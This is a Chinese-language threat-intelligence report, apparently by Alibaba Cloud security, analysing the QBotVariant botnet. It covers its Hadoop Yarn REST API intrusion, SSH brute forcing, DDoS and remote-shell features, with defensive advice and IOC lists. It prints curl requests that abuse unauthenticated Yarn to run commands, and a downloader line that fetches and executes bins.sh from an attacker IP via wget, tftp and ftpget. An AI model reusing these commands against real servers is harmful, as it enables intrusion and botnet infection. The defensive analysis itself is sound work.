互聯網給人帶來便捷的同時,其公開大量的資源也同樣給惡意利用者帶了便捷,越來越多公開的惡意程序源碼降低了對外攻擊、入侵的難度,使得安全問題愈加嚴重。
阿裏雲安全團隊從今年5月份監測到一BOT家族,其樣本改寫自互聯網公開渠道源碼,在互聯網上廣泛傳播,造成了極大的危害,雲安全團隊對該類樣本做了分析、聚類、溯源,在此我們將該類樣本命名為QBotVariant。
QBotVariant具有DDoS攻擊、後門、下載器、暴力破解等功能,一旦被入侵便變成肉雞,其主要傳播方式通過Hadoop Yarn資源管理系統REST API未授權訪問漏洞和基於弱口令的暴力破解。類似Mirai該BOT家族針對多個版本的操作系統,不僅服務器受到危害,如CCTV監控、家庭路由等IOT設備更容易被攻擊、入侵。Radware公司Pascal Geenens在最新的博客《New DemonBot Discovered》中提及到該類樣本,但是他發現的IP、樣本等信息只是該類家族的其中一個樣本,而我們從監測到30多個下載服務器可以看出,QBotVariant多變的IP和二進制樣本變種,使其難以發現和跟蹤。
在雲平台上,我們監測到的QBotVariant活躍度如下,峰值的時候可以達到上千個,活躍度一直未減。
以下我們將從傳播方式、腳本分析、樣本分析、溯源等多個角度對QBotVariant進行詳細的分析。
入侵、傳播方式
QBotVariant家族傳播的方式有兩種,一是利用Hadoop Yarn資源管理系統REST API未授權訪問漏洞進行入侵,二是通過硬編碼的弱密碼進行SSH暴力破解。
Hadoop是一款由Apache基金會推出的分布式系統框架,它通過著名的MapReduce算法進行分布式處理,Yarn是Hadoop集群的資源管理系統。Hadoop Yarn資源管理系統配置不當導致可以未經授權進行訪問,從而被攻擊者惡意利用。攻擊者無需認證即可通過REST API部署任務來執行任意代碼,最終完全控制服務器。
其問題來源於對外開啟了以下作用的端口
yarn.resourcemanager.webapp.address,默認端口8088
yarn.resourcemanager.webapp.https.address,默認端口8090
通過對新申請application,如下指令
curl -v -X POST 'http://ip:port/ws/v1/cluster/apps/new-application'
再執行如下指令即可完成入侵
curl -s -i -X POST -H 'Accept:application/json' -H 'Content-Type:application/json'http://ip:port/ws/v1/cluster/apps -data-binary @example.json
其example.json文件如下
{
"am-container-spec":{
"commands":{
"command":"執行的命令書寫在這裏"
}
},
"application-id":"application_xxxx_xxxxx",
"application-name":"test",
"application-type":"YARN"
}
腳本分析
我們通過溯源找到了QBotVariant比較原始版本的腳本,在原始版本的腳本中支持wget、tftp、ftpget等腳本的執行,從遠程下載服務器下載腳本並執行
bash -c cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget http://185.244.25.153/bins.sh; chmod 777 bins.sh; sh bins.sh;
tftp 185.244.25.153 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh;
tftp -r tftp2.sh -g 185.244.25.153; chmod 777 tftp2.sh; sh tftp2.sh;
ftpget -v -u anonymous -p anonymous -P 21 185.244.25.153 ftp1.sh ftp1.sh; sh ftp1.sh tftp1.sh tftp2.sh ftp1.sh
以下是阿裏雲安全截獲的一個經過改寫的下載腳本,從腳本可以看出作者為了能夠很好的對IOT設備支持,一方面編譯了不同版本的程序,通過ntpd、sshd、openssh等進行偽裝;另一方面每個命令行都加入了對busybox的支持,這些使得該類腳本很好的支持了IOT設備,為QBotVaraint的傳播提供了更加便捷的途徑。
在阿裏雲捕獲的源碼中有用於編譯多個版本的腳本
QBotVariant支持版本類型及其對應二進制名稱:
支持版本類型 | 對應二進制名稱 | 支持版本類型 | 對應二進制名稱 |
mips | ntpd | i586 | ftp |
mipsel | sshd | m68k | pftp |
sh4 | openssh | sparc | sh |
x86_64 | bash | armv4l | |
armv6l | tftp | armv5l | apache2 |
i686 | wget | powerpc-440fp | telnetd |
powerpc | cron |
樣本分析
阿裏雲截獲的多批次樣本都比較相似,都改編於QBot。某些作者為了精簡樣本或者進行殺軟對抗可能將某些功能進行裁剪,我們隨機對比兩個捕獲的樣本,如圖右邊的樣本對getRandomPublicIP函數進行了裁剪,該樣本只實現了QBot的少許功能,其文件更小、功能更加單一。
而絕大部分樣本都實現了基本功能,其傳播性、危害性等性質並未改變,部分函數如圖所示
指令分析
我們對遠控指令進行了分析,其功能如下圖所示
值得注意是StartTheLelz函數,該函數主要用於對隨機生成的IP地址進行爆破,如圖通過getRandomPublicIP函數得到隨機的IP,將硬編碼的用戶名和密碼存儲在結構體中,然後進行連接,其最大爆破次數通過max變量進行控制,max和文件描述表的項數有關但最大不超過4096。
通過數據區可以看見作者集成了幾種常見的用戶名和密碼用於爆破
如果最終爆破成功,則會在被爆破的主機中執行如下腳本,從而感染主機,再繼續向外傳播
除了集成常見的對外DDoS攻擊方法,QBotVariant還可以進行對外發送垃圾數據,通過sendJUNK或sendUDP即可完成該動作,如圖用於生成隨機字符串的makeRandomStr函數,通過發送大量垃圾包同樣可以造成網絡帶寬阻塞。
而QBotVariant為了最大化入侵價值,同樣提供了遠程shell命令執行功能,其命令以"SH"開頭,通過fdgets、sockprintf將命令執行後的結果返回到遠控端,實現如下
樣本溯源/同源性分析
我們在對樣本分析的過程中發現一個有趣的現象,樣本為了逃避檢測,有多種不同的指令,我們選取了幾種QBotVariant的上線方式。
第一種,信息較簡單,返回大小端、CPU架構、主機用途等信息。
第二種,信息比較全面,帶有操作系統、CPU架構、主機用途、端口、主機IP等信息。
第叁種,信息最為簡單,只返回架構信息。
第四種,返回大小端、架構信息。
第五種,信息比較全面,架構信息、大小端、主機IP、主機用途等信息。
第六種,返回主機IP、類型、版本信息等。
第七種,返回架構、主機IP等信息。
我們在對樣本進行溯源發現,在pastebin上存在大量該類樣本的源碼、二進制文件等,其存在時間都在數月之久,作者目錄下還包括其他類型IOT蠕蟲,同時發現多個作者進行了QBot的改寫,如圖是其中一位作者的pastebin和github
QBot在國內似乎大家認知不多,但是由於源碼簡單、客戶端小、支持多種架構,從09年活躍至今一直未間斷過,常被應用於遠控、DDoS等客戶端,在其截獲的IP中,絕大部分位於北美和歐洲各地,但是雲平台檢測到來自國內IP的攻擊源,國內安全人員應該引起重視。
安全加固 ● 雲防火牆
開啟雲防火牆IPS攔截模式和虛擬補丁功能,雲防火牆已經支持對該類漏洞的防禦和防止暴力破解功能,用戶即使不及時修複也依然能夠進行防禦攔截。
● 網絡訪問控制
使用"ECS/VPC安全組"對"受影響服務端口"訪問源IP進行控制,如果本身Hadoop環境僅對內網提供服務,請不要將Hadoop服務端口發布到互聯網。
● 更新升級
若使用自建的Hadoop,根據實際情況及時更新補丁,Hadoop在2.X以上版本提供了安全認證功能,加入了Kerberos認證機制,建議啟用Kerberos認證功能或者您可以選擇使用雲上的MaxCompute(8年以上"零"安全漏洞)或雲上的E-MAPREDUCE服務。
安全建議
● 雲防火牆產品已支持防禦針對此漏洞的攻擊,建議用戶可以購買雲防火牆,開啟檢測。
● 通過安全管家服務,在阿裏雲安全專家的指導下進行安全加固及優化工作,避免系統受到漏洞影響。
總結
QBotVariant通過Hadoop Yarn資源管理系統REST API未授權訪問漏洞、弱密碼口令爆破等方式進行入侵,一旦感染此類蠕蟲,不僅會占用主機計算資源消耗帶寬流量,成為攻擊其他主機的肉雞,還可能造成數據泄露,數據丟失等後果。
阿裏雲安全提醒廣大互聯網用戶,注意第叁方應用的配置,防止出現此類未授權漏洞,同時加強用戶名和密碼的安全意識,切實保護自身資產安全。
IOC
部分MD5-文件名
文件名 | MD5 |
185.244.25.153 | |
YSDKOP.arm4 | cc9de0d789efc8636946b4b41f374dfc |
YSDKOP.arm5 | ac94604edfe7730ccf70d5cd75610d01 |
YSDKOP.arm6 | dcb51c5abd234a41ee0439183f53fd2d |
YSDKOP.arm7 | 2416380b2fe0c693fd7c26a91b4cb8ee |
YSDKOP.i586 | 2f029723c778f15e8e825976c66e45cd |
YSDKOP.i686 | 49ec48d3afdddb098fa2c857fc63c848 |
YSDKOP.m68k | 7efef839902ca20431d58685d9075710 |
YSDKOP.mips | eab0810535b45fa1bf0f6243dafb0373 |
YSDKOP.mpsl | a2c4e09821be6a4594e88376b9c30b5d |
YSDKOP.ppc | 1fc61114722f301065cd9673025ce5e0 |
YSDKOP.sh4 | 38abc827e67ff53d0814979b435e2c40 |
YSDKOP.sparc | 20a38aeeffba9f0f1635c7b4b78f3727 |
YSDKOP.x86 | 8fd97d622e69b69a3331ee5ed08e71b2 |
188.166.125.19 | |
7e9c49b9e743bcf7b382fa000c27b49d | |
apache2 | 64394fb25494b0cadf6062a0516f7c1a |
bash | 75e7ce8c110bb132d3897b293d42116a |
cron | e8dfae1fe29183548503dc0270878e52 |
ftp | 0e765d00f0ee174e79c81c9db812e3a2 |
ntpd | 2cb932dcb5db84dafa8cdc6b4afa52d0 |
openssh | 606a3169f099b0f2423c63b4ed3f9414 |
pftp | 6666ef216ce7434927338137760f4ab0 |
sh | cc2e82ffbc6d5053efade4849c13099f |
sshd | 00b0a6516986aca277d0148c7ddf38c4 |
tftp | 38b075ee960d08e96b2e77205ec017de |
wget | 58c5e1bc66ac6b364639bce4b3f76c58 |
部分IP
178.128.194.222 | 178.128.7.76 |
103.214.111.122 | 130.185.250.199 |
194.182.80.200 | 138.197.74.100 |
198.199.84.119 | 104.248.165.108 |
178.128.46.254 | 159.65.227.17 |
206.189.196.216 | 80.211.109.66 |
194.48.152.114 | 159.89.114.171 |
178.128.43.104 | 185.244.25.153 |
209.97.159.10 | 46.36.37.121 |
46.29.164.242 | 46.17.47.250 |
158.69.60.239 | 195.181.223.138 |
80.211.39.186 | 188.166.125.19 |
104.248.112.122 | 212.237.26.71 |
178.128.239.252 | 104.248.212.127 |
104.248.63.168 |
部分URL及出現時間
URL | 時間 |
http://138.197.74.100/bins.sh | 20180904 |
http://80.211.39.186/bins.sh | 20180904 |
http://178.128.239.252/bins.sh | 20180908 |
http://158.69.60.239/bins/boti586final | 20180908 |
http://158.69.60.239/bins/botx86_64final | 20180908 |
http://158.69.60.239/bins/boti686final | 20180908 |
http://158.69.60.239/bins.sh | 20180908 |
http://178.128.239.252/bins.sh | 20180909 |
http://130.185.250.199/bins.sh | 20180909 |
http://46.17.47.250/xm2bash | 20180913 |
http://104.248.112.122/Kuso69/Akiru.x86 | 20180918 |
http://194.182.80.200/bins.sh | 20180919 |
http://104.248.112.122/Kuso69/Akiru.x86 | 20180919 |
http://209.97.159.10/bins.sh | 20181003 |
http://46.17.47.250/xm2wget | 20181005 |
http://185.244.25.153/bins.sh | 20181009 |
http://159.65.227.17/bins.sh | 20181009 |
http://178.128.7.76/bins.sh | 20181010 |
http://185.244.25.153/bins.sh | 20181010 |
http://104.248.212.127/bins.sh | 20181010 |
http://159.65.227.17/bins.sh | 20181010 |
http://206.189.196.216/bins.sh | 20181010 |
http://188.166.125.19/bins.sh | 20181010 |
http://188.166.125.19/bins.sh | 20181011 |
http://185.244.25.153/bins.sh | 20181011 |
http://178.128.7.76/bins.sh | 20181011 |
http://104.248.212.127/bins.sh | 20181011 |
http://80.211.109.66/bins.sh | 20181012 |
http://185.244.25.153/bins.sh | 20181012 |
http://195.181.223.138/bins.sh | 20181012 |
http://159.89.114.171/bins.sh | 20181012 |
http://178.128.7.76/bins.sh | 20181012 |
http://104.248.212.127/bins.sh | 20181012 |
http://185.244.25.153/bins.sh | 20181015 |
http://104.248.165.108/bins.sh | 20181018 |
http://198.199.84.119/bins.sh | 20181018 |
http://103.214.111.122/bins.sh | 20181019 |
http://178.128.46.254/bins.sh | 20181019 |
http://178.128.43.104/bins.sh | 20181019 |
http://104.248.63.168/vvglma | 20181021 |
http://178.128.194.222/bins.sh | 20181026 |
http://178.128.194.222/bins.sh | 20181027 |
http://178.128.194.222/bins.sh | 20181028 |
http://46.29.164.242/bins.sh | 20181031 |
http://194.48.152.114/bins.sh | 20181101 |
http://46.36.37.121/weed.sh | 20181103 |